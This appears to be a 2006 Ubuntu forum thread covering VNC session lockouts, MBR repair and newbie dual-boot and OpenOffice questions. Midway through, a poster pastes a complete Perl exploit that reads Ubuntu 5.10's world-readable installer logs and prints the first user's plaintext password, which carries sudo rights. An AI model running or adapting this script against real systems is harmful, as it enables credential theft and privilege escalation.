another thing i face is the session thing. let's say if i use VNC to log out, then when i want to log in again i'll have this 'you logged in less than 10 seconds blablablabla' thing that keep refuses to let me login to the UI.

so end up reboot, go to CLI /safe mode. then reboot again. blablabla.

hmm there has to be a mechanism that lets you kill your current session?
something like in windows ( tsadmin)

i use win98 boot disk to boot and fdisk /mbr to remove it...but my fren told me that i can do fix mbr from booting into windows command prompt...i haven;t try that tho...

i cant boot into command prompt
formated my linux partition and grub went bonkers.
decided to reformat windows..its been ages since the last format and now its good.
goina try install ubuntu later with a lower resolution. shud work

arent winXP bootable cd can fix mbr?
boot cd as 1st sequence, choose repair with console, than type fix mbr

yup, u're right..huhu

On 12th March Ubuntu 510 has security vulnerablity, that Ubuntu 5.10
failed to clean passwords in the installer log files. Since these files were
world-readable, any local user could see the password of the first
user account, which has full sudo privileges by default.

If you have NOT update the security of Ubuntu 5.10, (not using 2.67ubuntu20 (base-config) and 1:4.0.3-37ubuntu8 (passwd) program then used the follow exploit code to demonstrate this security vulnerability. This program will results of showing the userid and password. I hope will this will change your sys admin mind to update Ubuntu5.10

#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+sourc...adow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{
print "Yes\nNow checking if readable...";
if ( -r $file1 )
{
getinfo($file1);
}
else
{
if ( -r $file2 ) {
getinfo($file2);
}
else {
print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
exit(-2);
}
}
}
else
{
print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
exit(-1);
}

sub getinfo {
my $fn = shift;
print "Yes\nHere come the details...\n\n";
my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
chomp($realname);
chomp($user);
chomp($pass);
print "Real Name: $realname\n";
print "Username: $user\n";
print "Password: $pass\n";
}

Have fun with it.

hi there..
my ppl got free cd from France last week. he just insert da add at website and after dat he got bout 5 free cd. he ask me to look at it..
but for me, i knoe nothing bout linux..

so,wanna know dat
1. can install both linux and windows in same pc??
2. hows da installation,jus like windows or what??
3. about da document,does its support microsoft word??

sorry for da stupid question but i still newbie in tech world..
hoping da helps for all of u..

1. YES, absolutely, if some requirements are fulfilled.
2. NO, absolutely bit different, but ubuntu latest installer is as easy as Windows installer.
3. YES, with alternative applications.

1. whatta requirements???
2. gonna learn it..got website dat can guide me???
3. heard from fren bout da open office, he said dat more smooth den microsoft word

I tried Novell edition of OpenOffice.org under SuSE Linux. The startup time is a bit slower than Microsoft Office.

ubuntuforums.org
ubuntu.com

i think u might need that. please read help on other source like wiki.ubuntu.com

This post has been edited by serez: Aug 25 2006, 08:38 PM

1. Yes, but for newbie I would not recommend it require because resize existing XP partition (presumed HDD has been preinstalled with XP by manufacturer) for Linux OS plus file backup before resize partition. Otherwise, use vmware workstation (if u have it) on XP then you can run Ubuntu as guest OS on vmware without having to peformed the above resize partitions but you need min 256MB or more memory.

2. Ubuntu installer is GUI based so as Windows too.

3. Plenty of documentation on the Ubuntu website and Ubuntu community web site. It comes with OpenOffice Suite 2.0.x which can read/write MS Word documents file format and export document as PDF file without using Adobe PDF.

u can always try ubuntu livecd before installing it into ur hdd permanently...

new version of ubuntu comes with livecd...just put it in ur cd-rom, boot tru cd - and start using...

thanks for da info..
dont wanna be newbie for long time..ha3...

1. watta vw workstation???

2. already try da open office at my ppl pc a minute ago... i think its alright..
but never think dat it can be run on widows
are my eyes getwrong tonight????

i also got dat livecd, but cant run it...so how some???

1. workstation is a software which enables u to run several OS in the same pc..good for trying unknown OS such as Linux on windows...
2. Newer version of openoffice can run on windows..forget what's the latest version d..
3. To run the live cd, u need to put the livecd in the cd drive then restart ur pc so that ur pc boot from the livecd...

thanks dude. now i can get da overview from livecd.

overall what u think da best, windows or linux??

Could you detail out the criterion that you would like us to compare?
Performance - depends on how you manage the OS
Usuability - Depends on the how you manage the applications
Secureness - depends on how you manage the security features and the sites you're going
Applications availability - depends on how much you know on getting them

In the end, it's really up to you. You can run a good OS badly and vice-versa.


This post has been edited by dopodplaya: Aug 27 2006, 08:50 AM

thanks dude..but really cant compare it by myself..
cuz dun try it...
so its why i asked all of u,myb u can tell me bout dis..

Try here

http://ubuntuguide.org/wiki/Dapper